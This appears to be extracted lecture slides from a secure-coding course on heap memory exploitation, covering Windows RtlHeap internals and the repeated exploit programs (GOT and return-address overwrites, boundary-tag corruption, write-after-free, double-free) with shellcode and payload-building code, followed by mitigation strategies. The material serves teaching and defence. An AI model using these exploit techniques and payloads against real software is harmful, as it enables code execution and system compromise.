Call to strcpy invokes the shellcode. 1. static char *GOT_LOCATION = (char *)0x0804c98c;  2. static char shellcode[] =  3.   "\xeb\x0cjump12chars_"  3.   /* jump */  4.   "\x90\x90\x90\x90\x90\x90\x90\x90"  5.  6. int main(void){  7.   int size = sizeof(shellcode);  8.   void *shellcode_location;  9.   void *first, *second, *third, *fourth; 10.   void *fifth, *sixth, *seventh; 11.   shellcode_location = (void *)malloc(size); 12.   strcpy(shellcode_location, shellcode); 13.   first = (void *)malloc(256); 14.   second = (void *)malloc(256); 15.   third = (void *)malloc(256); 16.   fourth = (void *)malloc(256); 17.   free(first); 18.   free(third); 19.   fifth = (void *)malloc(128); 20.   //free(first); 21.   sixth = (void *)malloc(256); 22.   *((void **)(first+0))=(void *)(GOT_LOCATION-12); 23.   *((void **)(first+4))=(void *)shellcode_location; 24.   sixth = (void *)malloc(256); 25.   strcpy(fifth, "something"); 26.   return 0; 27. } No double free. But a write to first. Call to malloc() replaces the address of stringcpy() with the address of the shellcode. Call to strcpy invokes the shellcode.

RTL Heap Windows Memory Organization

RTL Heap Windows Memory Design Virtual Memory API Heap Memory API 32b addresses Pages of 4KB User address space divided into regions Regions have protection, type, base allocation for pages Heap Memory API Allows creation of multiple dynamic heaps. One default heap

RTL Heap Windows Memory Design Local, Global Memory API Needed for backward compatibility with Windows 3.1 CRT Memory Function C run-time Memory Mapped File API Allow an application to map its virtual address space directly to a file on disk.

RTL Heap RTL – RunTime Library Uses virtual memory API Implements the higher level local, global, CRT memory functions.

RTL Heap Windows Memory Organization

RTL Heap Misuse of memory management APIs can result in software vulnerabilities. Need to understand RTL data structures: Process environment block. Free lists, look-aside lists. Memory chunk structures.

RTL Heap Process Environment Block PEB maintains global variables for each process. PEB is referenced by each of the process thread environment blocks (TEBs) TEBs are referenced by the fs register. Windows OS < XP SP2: PEB at 0x7FFDF000. PEB gives info on heap data structures: Maximum number of heaps. The actual number of heaps. The location of the default heap. A pointer to an array containing the locations of all the heaps.

RTL Heap

RTL Heap FreeList Array of 128 double-linked lists located at an offset of 0x178 from the start of the heap (address returned by HeapCreate()). RtlHeap uses them to keep track of free chunks. FreeList[] is an array of LIST_ENTRY structures Each LIST_ENTRY is the head of a double-linked list. The LIST_ENTRY structure is defined in winnt.h Consists of a forward link (flink) and a backward link (blink).

RTL Heap Free List Example

RTL Heap Free chunks in this list are sorted from smallest to largest. The heap associated with this data structure contains eight free chunks. Two of these chunks are 16 bytes in length and maintained on the linked list stored at FreeList[2]. Two more chunks of 48 bytes each are maintained on the linked list at FreeList[6].

RTL Heap The relationship between the size of the chunk and the location of the free list in the array is maintained. The final four free chunks of 1400, 2000, 2000, and 2408 bytes are all greater than 1024 and are maintained on FreeList[0] in order of increasing size. When a new heap is created, the free lists are initially empty. When a list is empty, the forward and backward links point to the list head.

RTL Heap Memory in the page that is not allocated as part of the first chunk or used for heap control structures is added to a free list. For relatively small allocations (e.g., less than 1472 bytes), the free chunk is placed in FreeList[0] for chunks over 1024 bytes in size. Subsequent allocations are carved from this free chunk, assuming enough space is available.

RTL Heap Singly-linked look-aside lists Created in the heap during heap allocation. Used to speed up allocation of the small blocks (that is, under 1016 bytes). Initially they are empty and grow only as memory is freed. They are checked for suitable blocks before the free lists.

RTL Heap Number of free blocks in the look-aside lists is adjusted automatically. Depending on the allocation frequency for certain block sizes. The more often memory of a certain size is allocated the greater the number of blocks of that size can be stored in the respective list. Use of the look-aside lists results in relatively quick memory allocation of small memory chunks.

RTL Heap Boundary control tag Each memory chunk returned by HeapAlloc() or malloc() has one. Located 8B before the address returned by HeapAlloc(). Contains: Size Size of previous chunk Flags, including busy flag Is the chunk free? Legacy fields

Allocated Chunk Boundary Tag RTL Heap Allocated Chunk Boundary Tag

RTL Heap When chunk is freed: Boundary tag remains. Free memory contains next chunk and previous chunk addresses. Busy bit flag is cleared.

Free Chunk Boundary Tag RTL Heap Free Chunk Boundary Tag

RTL Heap Heap based buffer overflow attacks Typically overwrite forward and backward pointers Normal heap operations can result in overwriting an address to change the execution flow

RTL Heap Freeing h2 on line 10 creates a gap in the allocated memory. 1. unsigned char shellcode[] = "\x90\x90\x90\x90";  2. unsigned char malArg[] = "0123456789012345" "\x05\x00\x03\x00\x00\x00\x08\x00"        "\xb8\xf5\x12\x00\x40\x90\x40\x00";  3. void mem() {  4.   HANDLE hp;  5.   HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0;  6.   hp = HeapCreate(0, 0x1000, 0x10000);  7.   h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);  8.   h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128);  9.   h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); 10.   HeapFree(hp,0,h2); 11.   memcpy(h1, malArg, 32); 12.   h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128); 13.   return; 14. } 15. int _tmain(int argc, _TCHAR* argv[]) { 16.   mem(); 17.   return 0; 18. } Freeing h2 on line 10 creates a gap in the allocated memory.

RTL Heap Buffer Overflow: 16B overflow h1, the rest overflow into h2: 1. unsigned char shellcode[] = "\x90\x90\x90\x90";  2. unsigned char malArg[] = "0123456789012345" "\x05\x00\x03\x00\x00\x00\x08\x00"        "\xb8\xf5\x12\x00\x40\x90\x40\x00";  3. void mem() {  4.   HANDLE hp;  5.   HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0;  6.   hp = HeapCreate(0, 0x1000, 0x10000);  7.   h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);  8.   h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128);  9.   h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); 10.   HeapFree(hp,0,h2); 11.   memcpy(h1, malArg, 32); 12.   h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128); 13.   return; 14. } 15. int _tmain(int argc, _TCHAR* argv[]) { 16.   mem(); 17.   return 0; 18. } Buffer Overflow: 16B overflow h1, the rest overflow into h2: First 8B overwrite the boundary tag

Return address on stack RTL Heap Unchanged Previous chunk Segment Unused Tag index Self Size Flags size Index bytes (Debug) Now Target Address: Return address on stack Address of Shellcode 1 1 2 2 3 3 4 4 5 5 6 6 7 7 8 8

RTL Heap Exploit HeapAlloc() call requests the same number of bytes as in h2 RTL Heap retrieves h2 from free list

RTL Heap 1. unsigned char shellcode[] = "\x90\x90\x90\x90";  2. unsigned char malArg[] = "0123456789012345" "\x05\x00\x03\x00\x00\x00\x08\x00"        "\xb8\xf5\x12\x00\x40\x90\x40\x00";  3. void mem() {  4.   HANDLE hp;  5.   HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0;  6.   hp = HeapCreate(0, 0x1000, 0x10000);  7.   h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);  8.   h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128);  9.   h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); 10.   HeapFree(hp,0,h2); 11.   memcpy(h1, malArg, 32); 12.   h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128); 13.   return; 14. } 15. int _tmain(int argc, _TCHAR* argv[]) { 16.   mem(); 17.   return 0; 18. } causes the return address to be overwritten with the address of the shellcode

RTL Heap control is passed to the shellcode 1. unsigned char shellcode[] = "\x90\x90\x90\x90";  2. unsigned char malArg[] = "0123456789012345" "\x05\x00\x03\x00\x00\x00\x08\x00"        "\xb8\xf5\x12\x00\x40\x90\x40\x00";  3. void mem() {  4.   HANDLE hp;  5.   HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0;  6.   hp = HeapCreate(0, 0x1000, 0x10000);  7.   h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);  8.   h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128);  9.   h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); 10.   HeapFree(hp,0,h2); 11.   memcpy(h1, malArg, 32); 12.   h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128); 13.   return; 14. } 15. int _tmain(int argc, _TCHAR* argv[]) { 16.   mem(); 17.   return 0; 18. } control is passed to the shellcode

RTL Heap 1. unsigned char shellcode[] = "\x90\x90\x90\x90";  2. unsigned char malArg[] = "0123456789012345" "\x05\x00\x03\x00\x00\x00\x08\x00"        "\xb8\xf5\x12\x00\x40\x90\x40\x00";  3. void mem() {  4.   HANDLE hp;  5.   HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0;  6.   hp = HeapCreate(0, 0x1000, 0x10000);  7.   h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);  8.   h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128);  9.   h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); 10.   HeapFree(hp,0,h2); 11.   memcpy(h1, malArg, 32); 12.   h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128); 13.   return; 14. } 15. int _tmain(int argc, _TCHAR* argv[]) { 16.   mem(); 17.   return 0; 18. } HeapAlloc() on line 12 causes the first four bytes of shellcode to be overwritten with the return address \xb8\xf5\x12\x00. This address needs to be executable!

RTL Heap Freeing Assume overflow with attacker controlled data into a memory block: Size of this block divided by 8 Size of previous block divided by 8 Field_4 8 bits for flags

RTL Heap Freeing Attacker needs to set control block so that it will run. Bit 0 of Flags must be set Bit 3 of Flags must be set Field_4 must be smaller than 0x40 Own size must be larger than 0x80

RTL Heap Freeing Deassembly of Win2k Heap Manager esi points to beginning of block control data add esi, -24 esi Block A Control data Memory Block A Block B Control data Memory Block B

RTL Heap Freeing Deassembly of Win2k Heap Manage mov eax, [esi] esi move memory into eax Block A Control data Memory Block A Block B Control data Memory Block B

RTL Heap Freeing Deassembly of Win2k Heap Manage mov esi, [esi+4] esi move memory into esi Block A Control data Memory Block A Block B Control data Memory Block B

RTL Heap Freeing Deassembly of Win2k Heap Manage mov [esi],eax Arbitrary memory overwrite esi Block A Control data Memory Block A Block B Control data Memory Block B

RTL Heap Freeing This vulnerability is based on Overwriting a complete control block Controlling data 24B before the control block

RTL Heap Other Approach: Gain control by overwriting an exception handler Trigger an exception.

Heap-bases buffer overflow 1. int mem(char *buf) { 2.    HLOCAL h1 = 0, h2 = 0; 3.    HANDLE hp; 4.    hp = HeapCreate(0, 0x1000, 0x10000); 5.    if (!hp) return -1; 6.   h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260); 7.    strcpy((char *)h1, buf); 8.    h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260); 9.    printf("we never get here"); 10.    return 0; 11. } 12. int main(int argc, char *argv[]) { 13.    HMODULE l; 14.    l = LoadLibrary("wmvcore.dll"); 15.    buildMalArg(); 16.    mem(buffer); 17.    return 0; 18. } RTL Heap Heap-bases buffer overflow

Single chunk allocated 1. int mem(char *buf) { 2.    HLOCAL h1 = 0, h2 = 0; 3.    HANDLE hp; 4.    hp = HeapCreate(0, 0x1000, 0x10000); 5.    if (!hp) return -1; 6.   h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260); 7.    strcpy((char *)h1, buf); 8.    h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260); 9.    printf("we never get here"); 10.    return 0; 11. } 12. int main(int argc, char *argv[]) { 13.    HMODULE l; 14.    l = LoadLibrary("wmvcore.dll"); 15.    buildMalArg(); 16.    mem(buffer); 17.    return 0; 18. } RTL Heap Heap created Single chunk allocated Heap consists of: segment header memory allocated by h1 segment trailer

RTL Heap 1. int mem(char *buf) { 2. HLOCAL h1 = 0, h2 = 0; 3.    HANDLE hp; 4.    hp = HeapCreate(0, 0x1000, 0x10000); 5.    if (!hp) return -1; 6.   h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260); 7.    strcpy((char *)h1, buf); 8.    h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260); 9.    printf("we never get here"); 10.    return 0; 11. } 12. int main(int argc, char *argv[]) { 13.    HMODULE l; 14.    l = LoadLibrary("wmvcore.dll"); 15.    buildMalArg(); 16.    mem(buffer); 17.    return 0; 18. } RTL Heap heap overflow: Overwrites segment trailer, including LIST_Entry structure. These pointers will likely be referenced in the next call to RtlHeap—triggering an exception.

RTL Heap 1. int mem(char *buf) { 2. HLOCAL h1 = 0, h2 = 0; 3.    HANDLE hp; 4.    hp = HeapCreate(0, 0x1000, 0x10000); 5.    if (!hp) return -1; 6.   h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260); 7.    strcpy((char *)h1, buf); 8.    h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260); 9.    printf("we never get here"); 10.    return 0; 11. } 12. int main(int argc, char *argv[]) { 13.    HMODULE l; 14.    l = LoadLibrary("wmvcore.dll"); 15.    buildMalArg(); 16.    mem(buffer); 17.    return 0; 18. } RTL Heap h1 variable points at 0x00ba0688, which is the start of user memory

Organization of the Heap after First HeapAlloc() RTL Heap Organization of the Heap after First HeapAlloc() h1 flink blink These pointers can be overwritten by the call to strcpy() on line 7 to transfer control to user-supplied shellcode

RTL Heap Malicious argument for attacking the vulnerability in the mem() function. char buffer[1000]="";  void buildMalArg() {   int addr = 0, i = 0;   unsigned int systemAddr = 0;   char tmp[8]=""; systemAddr = GetAddress("msvcrt.dll","system");   for (i=0; i < 66; i++) strcat(buffer, "DDDD");   strcat(buffer, "\xeb\x14");   strcat(buffer, "\x44\x44\x44\x44\x44\x44"); strcat(buffer, "\x73\x68\x68\x08"); strcat(buffer,"\x4c\x04\x5d\x7c"); for (i=0; i < 21; i++) strcat(buffer,"\x90"); strat(buffer, "\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"); fixupaddresses(tmp, systemAddr); strcat(buffer,tmp); strcat(buffer,"\xFF\xD1\x90\x90"); return; } overwrite the forward and backward pointers in the trailing free block.

RTL Heap Malicious argument for attacking the vulnerability in the mem() function. char buffer[1000]="";  void buildMalArg() {   int addr = 0, i = 0;   unsigned int systemAddr = 0;   char tmp[8]=""; systemAddr = GetAddress("msvcrt.dll","system");   for (i=0; i < 66; i++) strcat(buffer, "DDDD");   strcat(buffer, "\xeb\x14");   strcat(buffer, "\x44\x44\x44\x44\x44\x44"); strcat(buffer, "\x73\x68\x68\x08"); strcat(buffer,"\x4c\x04\x5d\x7c"); for (i=0; i < 21; i++) strcat(buffer,"\x90"); strat(buffer, "\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"); fixupaddresses(tmp, systemAddr); strcat(buffer,tmp); strcat(buffer,"\xFF\xD1\x90\x90"); return; } The forward pointer is replaced by the address to which control will be transferred. The backward pointer is replaced by the address to be overwritten.

RTL Heap Malicious argument for attacking the vulnerability in the mem() function. char buffer[1000]="";  void buildMalArg() {   int addr = 0, i = 0;   unsigned int systemAddr = 0;   char tmp[8]=""; systemAddr = GetAddress("msvcrt.dll","system");   for (i=0; i < 66; i++) strcat(buffer, "DDDD");   strcat(buffer, "\xeb\x14");   strcat(buffer, "\x44\x44\x44\x44\x44\x44"); strcat(buffer, "\x73\x68\x68\x08"); strcat(buffer,"\x4c\x04\x5d\x7c"); for (i=0; i < 21; i++) strcat(buffer,"\x90"); strat(buffer, "\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"); fixupaddresses(tmp, systemAddr); strcat(buffer,tmp); strcat(buffer,"\xFF\xD1\x90\x90"); return; } This offset will overwrite the backward pointer in the trailing free chunk as a result of the buffer overflow control is transferred to the user-supplied address and not the unhandled exception filter .

RTL Heap Disassembly for SetUnhandledExceptionFilter() SetUnhandledExceptionFilter(myTopLevelFilter); ] mov ecx, dword ptr [esp+4] mov eax, dword ptr ds:[7C5D044Ch] mov dword ptr ds:[7C5D044Ch], ecx ret 4

RTL Heap The address used to overwrite the forward pointer is the address of the shellcode. Because RtlHeap subsequently overwrites the first four bytes of the shellcode, an attacker can transfer control to the shellcode using trampolines. Trampolines allow an attacker to transfer control to shellcode when the absolute address of the shellcode is not known ahead of time. Trampolines can be located statically by examining the program image or dynamic-link library or dynamically by loading the library and searching through memory.

RTL Heap RTL Heap can be vulnerable By writes to freed memory By double-freeing memory Look-Aside Table

RtlHeap RTLHeap: Write to Freed Memory heap is created. 1. typedef struct _unalloc {  2.   PVOID fp;  3.   PVOID bp;  4. } unalloc, *Punalloc;  5. char shellcode[] = "\x90\x90\x90\xb0\x06\x90\x90";  6. int _tmain(int argc, _TCHAR* argv[]) {  7.   Punalloc h1;  8.   HLOCAL h2 = 0;  9.   HANDLE hp; 10.   hp = HeapCreate(0, 0x1000, 0x10000); 11.   h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32); 12.   HeapFree(hp, 0, h1); 13.   h1->fp = (PVOID)(0x042B17C - 4); 14.   h1->bp = shellcode; 15.   h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32); 16.   HeapFree(hp, 0, h2); 17.   return 0; 18. } heap is created. 32-byte chunk , represented by h1, is allocated

RtlHeap RTLHeap: Write to Freed Memory mistakenly”freed” 1. typedef struct _unalloc {  2.   PVOID fp;  3.   PVOID bp;  4. } unalloc, *Punalloc;  5. char shellcode[] = "\x90\x90\x90\xb0\x06\x90\x90";  6. int _tmain(int argc, _TCHAR* argv[]) {  7.   Punalloc h1;  8.   HLOCAL h2 = 0;  9.   HANDLE hp; 10.   hp = HeapCreate(0, 0x1000, 0x10000); 11.   h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32); 12.   HeapFree(hp, 0, h1); 13.   h1->fp = (PVOID)(0x042B17C - 4); 14.   h1->bp = shellcode; 15.   h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32); 16.   HeapFree(hp, 0, h2); 17.   return 0; 18. } mistakenly”freed”

RtlHeap RTLHeap: Write to Freed Memory 1. typedef struct _unalloc {  2.   PVOID fp;  3.   PVOID bp;  4. } unalloc, *Punalloc;  5. char shellcode[] = "\x90\x90\x90\xb0\x06\x90\x90";  6. int _tmain(int argc, _TCHAR* argv[]) {  7.   Punalloc h1;  8.   HLOCAL h2 = 0;  9.   HANDLE hp; 10.   hp = HeapCreate(0, 0x1000, 0x10000); 11.   h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32); 12.   HeapFree(hp, 0, h1); 13.   h1->fp = (PVOID)(0x042B17C - 4); 14.   h1->bp = shellcode; 15.   h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32); 16.   HeapFree(hp, 0, h2); 17.   return 0; 18. } User-supplied data is then written into the already freed chunk

RTL Heap When h1 is freed, h1 is placed on the list of free 32-byte chunks. While on the free list: the chunk’s first doubleword of usable memory holds the forward pointer to the next chunk on the list the second doubleword holds the backward pointer. The forward pointer is replaced by the address to overwrite. The backward pointer is overwritten with the address of the shellcode.

RtlHeap RTLHeap: Write to Freed Memory 1. typedef struct _unalloc {  2.   PVOID fp;  3.   PVOID bp;  4. } unalloc, *Punalloc;  5. char shellcode[] = "\x90\x90\x90\xb0\x06\x90\x90";  6. int _tmain(int argc, _TCHAR* argv[]) {  7.   Punalloc h1;  8.   HLOCAL h2 = 0;  9.   HANDLE hp; 10.   hp = HeapCreate(0, 0x1000, 0x10000); 11.   h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32); 12.   HeapFree(hp, 0, h1); 13.   h1->fp = (PVOID)(0x042B17C - 4); 14.   h1->bp = shellcode; 15.   h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32); 16.   HeapFree(hp, 0, h2); 17.   return 0; 18. } The call to HeapAlloc() causes the address of HeapFree() to be overwritten with the address of the shellcode

RtlHeap RTLHeap: Write to Freed Memory 1. typedef struct _unalloc {  2.   PVOID fp;  3.   PVOID bp;  4. } unalloc, *Punalloc;  5. char shellcode[] = "\x90\x90\x90\xb0\x06\x90\x90";  6. int _tmain(int argc, _TCHAR* argv[]) {  7.   Punalloc h1;  8.   HLOCAL h2 = 0;  9.   HANDLE hp; 10.   hp = HeapCreate(0, 0x1000, 0x10000); 11.   h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32); 12.   HeapFree(hp, 0, h1); 13.   h1->fp = (PVOID)(0x042B17C - 4); 14.   h1->bp = shellcode; 15.   h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32); 16.   HeapFree(hp, 0, h2); 17.   return 0; 18. } Control is transferred to the shellcode

RtlHeap RTLHeap: Write to Freed Memory 1. typedef struct _unalloc {  2.   PVOID fp;  3.   PVOID bp;  4. } unalloc, *Punalloc;  5. char shellcode[] = "\x90\x90\x90\xb0\x06\x90\x90";  6. int _tmain(int argc, _TCHAR* argv[]) {  7.   Punalloc h1;  8.   HLOCAL h2 = 0;  9.   HANDLE hp; 10.   hp = HeapCreate(0, 0x1000, 0x10000); 11.   h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32); 12.   HeapFree(hp, 0, h1); 13.   h1->fp = (PVOID)(0x042B17C - 4); 14.   h1->bp = shellcode; 15.   h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32); 16.   HeapFree(hp, 0, h2); 17.   return 0; 18. } The call to HeapAlloc() causes the address of HeapFree() to be overwritten with the address of the shellcode

RTL Heap RTL Heap can be vulnerable By writes to freed memory By double-freeing memory Based on a Windows 2000 vulnerability Look-Aside Table

RtlHeap RTLHeap: Double Freed Memory Memory Allocation Chunk 1 int main(int argc, char *argv[]) { HANDLE hp; HLOCAL h1, h2, h3, h4, h5, h6, h7, h8, h9; hp = HeapCreate(0,0x1000,0x10000); h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); memset(h1, 'a', 16); h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); memset(h2, 'b', 16); h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32); memset(h3, 'c', 32); h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); memset(h4, 'd', 16); h5 = HeapAlloc(hp, HEAP_ZERO_MEMORY,8) memset(h5, 'e', 8); HeapFree(hp, 0, h2); HeapFree(hp, 0, h3); h6 = HeapAlloc(hp, 0, 64); memset(h6, 'f', 64); strcpy((char *)h4, buffer); h7 = HeapAlloc(hp, 0, 16); printf("Never gets here.\n”); } Memory Allocation Chunk 1 Memory Allocation Chunk 5

RtlHeap RTLHeap: Double Freed Memory Free h2 Free h3 int main(int argc, char *argv[]) { HANDLE hp; HLOCAL h1, h2, h3, h4, h5, h6, h7, h8, h9; hp = HeapCreate(0,0x1000,0x10000); h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); memset(h1, 'a', 16); h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); memset(h2, 'b', 16); h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32); memset(h3, 'c', 32); h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); memset(h4, 'd', 16); h5 = HeapAlloc(hp, HEAP_ZERO_MEMORY,8) memset(h5, 'e', 8); HeapFree(hp, 0, h2); HeapFree(hp, 0, h3); h6 = HeapAlloc(hp, 0, 64); memset(h6, 'f', 64); strcpy((char *)h4, buffer); h7 = HeapAlloc(hp, 0, 16); printf("Never gets here.\n”); } Free h2 Free h3

RTL Heap Heap After h2 is Freed freeing h2: 00BA06A0 List head for FreeList[0] 00BA0178->00BA0708 Forward links: Chunk in FreeList[0] -> chunk: 00BA0178 Backward links: List head for FreeList[3] 00BA0190->00BA06A0 Chunk in FreeList[3] -> chunk: 00BA0190 00ba0680  03 00 08 00 00 01 08 00 61 61 61 61 61 61 61 61 ........aaaaaaaa 00ba0690  61 61 61 61 61 61 61 61 03 00 03 00 00 00 08 00 aaaaaaaa........ 00ba06a0  90 01 ba 00 90 01 ba 00 62 62 62 62 62 62 62 62 ........bbbbbbbb 00ba06b0  05 00 03 00 00 01 08 00 63 63 63 63 63 63 63 63 ........cccccccc 00ba06c0  63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 cccccccccccccccc 00ba06d0  63 63 63 63 63 63 63 63 03 00 05 00 00 01 08 00 cccccccc........ 00ba06e0  64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 dddddddddddddddd 00ba06f0  02 00 03 00 00 01 08 00 65 65 65 65 65 65 65 65 ........eeeeeeee 00ba0700  20 01 02 00 00 10 00 00 78 01 ba 00 78 01 ba 00 .......x...x... FreeList[0] contains a single free chunk at 0x00BA0708 FreeList[3] contains another free chunk (formerly h2) Memory contents filled with “aaa…a” for h1, etc.

RTL Heap Heap after h3 is freed h2 and h3 are coalesced freeing h3 (1st time): 00BA06B8 List head for FreeList[0] 00BA0178->00BA0708 Forward links: Chunk in FreeList[0] -> chunk: 00BA0178 Backward links: List head for FreeList[8] 00BA01B8->00BA06A0 Chunk in FreeList[8] -> chunk: 00BA01B8 00ba0680 03 00 08 00 00 01 08 00 61 61 61 61 61 61 61 61 ........aaaaaaaa 00ba0690 61 61 61 61 61 61 61 61 08 00 03 00 00 00 08 00 aaaaaaaa........ 00ba06a0 b8 01 ba 00 b8 01 ba 00 62 62 62 62 62 62 62 62 ........bbbbbbbb 00ba06b0 05 00 03 00 00 01 08 00 63 63 63 63 63 63 63 63 ........cccccccc 00ba06c0 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 cccccccccccccccc 00ba06d0 63 63 63 63 63 63 63 63 03 00 08 00 00 01 08 00 cccccccc........ 00ba06e0 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 dddddddddddddddd 00ba06f0 02 00 03 00 00 01 08 00 65 65 65 65 65 65 65 65 ........eeeeeeee 00ba0700 20 01 02 00 00 10 00 00 78 01 ba 00 78 01 ba 00 .......x...x... h2 and h3 are coalesced New free chunk is in FreeList[8] Pointers in former h2 are updated, pointed in former h3 are not.

RTL Heap Heap after h3 is freed the second time freeing h3 (2nd time): 00BA06B8 List head for FreeList[0] 00BA0178->00BA06A0 Forward links: Chunk in FreeList[0] -> chunk: 00BA0178 Backward links: 00ba0680 03 00 08 00 00 01 08 00 61 61 61 61 61 61 61 61 ........aaaaaaaa 00ba0690 61 61 61 61 61 61 61 61 2d 01 03 00 00 10 08 00 aaaaaaaa-....... 00ba06a0 78 01 ba 00 78 01 ba 00 62 62 62 62 62 62 62 62 x...x...bbbbbbbb 00ba06b0 05 00 03 00 00 01 08 00 63 63 63 63 63 63 63 63 ........cccccccc 00ba06c0 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 cccccccccccccccc 00ba06d0 63 63 63 63 63 63 63 63 03 00 08 00 00 01 08 00 cccccccc........ 00ba06e0 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 dddddddddddddddd 00ba06f0 02 00 03 00 00 01 08 00 65 65 65 65 65 65 65 65 ........eeeeeeee 00ba0700 20 01 0d 00 00 10 00 00 78 01 ba 00 78 01 ba 00 .......x...x... Free chunk has completely disappeared. FreeList[0] points to 0x00BA06A0: one big free chunk of 2KB !?! Allocated h4 and h5 are in the middle of this free area. Exploit: Overwrite the forward and backward pointers to FreeList[0]. Located at 0x00BA06A0, which is currently not accessible. Exploit allocates another 64 B, pushing the forward and backward pointer to 0x00ba06e0 – which is in h4 and can be overwritten.

RtlHeap RTLHeap: Double Freed Memory int main(int argc, char *argv[]) { HANDLE hp; HLOCAL h1, h2, h3, h4, h5, h6, h7, h8, h9; hp = HeapCreate(0,0x1000,0x10000); h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); memset(h1, 'a', 16); h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); memset(h2, 'b', 16); h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32); memset(h3, 'c', 32); h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); memset(h4, 'd', 16); h5 = HeapAlloc(hp, HEAP_ZERO_MEMORY,8) memset(h5, 'e', 8); HeapFree(hp, 0, h2); HeapFree(hp, 0, h3); h6 = HeapAlloc(hp, 0, 64); memset(h6, 'f', 64); strcpy((char *)h4, buffer); h7 = HeapAlloc(hp, 0, 16); printf("Never gets here.\n”); }

Mitigation Strategies NULL pointer Simplest strategy that prevents most dynamic memory errors. After a call to free, that the memory pointer to NULL. Prevents writing to freed memory. double-freeing memory. Does not prevent problems when pointer aliasing. Two pointers to the same structure.

Mitigation Strategies Consistency Use the same patterns for allocating and freeing memory. Allocate and deallocate in the same module, at the same level of abstraction. Match allocations and deallocations. Counterexample: MIT Kerberus 5 krb5-1.3.4, ASN.1 decoder functions did not use a consistent set of memory management conventions: Callers expected decoders to allocate memory. Caller error-handling code frees memory allocated by decoder functions. Decoder functions freed sometimes memory themselves. (double freeing). Embarrassing vulnerability in Security Code.

Mitigation Strategies Heap Integrity Detection Robertson et al.: modification of glibc heap Adds canary and padding field to the heap structure. Canary is seeming random value. When a chunk is returned, canary is checked. struct malloc_chunk { INTERNAL_SIZE_T magic; INTERNAL_SIZE_T __pad0; INTERNAL_SIZE_T prev_size; INTERNAL_SIZE_T size; struct malloc_chunk *bk; struct malloc_chunk *fd; };

Mitigation Strategies PhkMalloc Poul-Henning Kamp for FreeBSD in 1995-1996 and adapted by a number of operating systems. Written to operate efficiently in a virtual memory system, which resulted in stronger checks. Can determine whether a pointer passed to free() or realloc() is valid without dereferencing it. Cannot detect if a wrong pointer is passed, but can detect all pointers that were not returned by malloc() or realloc().

Mitigation Strategies Phkmalloc() Determines whether a pointer is allocated or frees and it detects all double-free errors. For unprivileged processes, these errors are treated as warnings. Enabling the “A” or “abort” option causes these warnings to be treated as errors. An error is terminal and results in a call to abort().

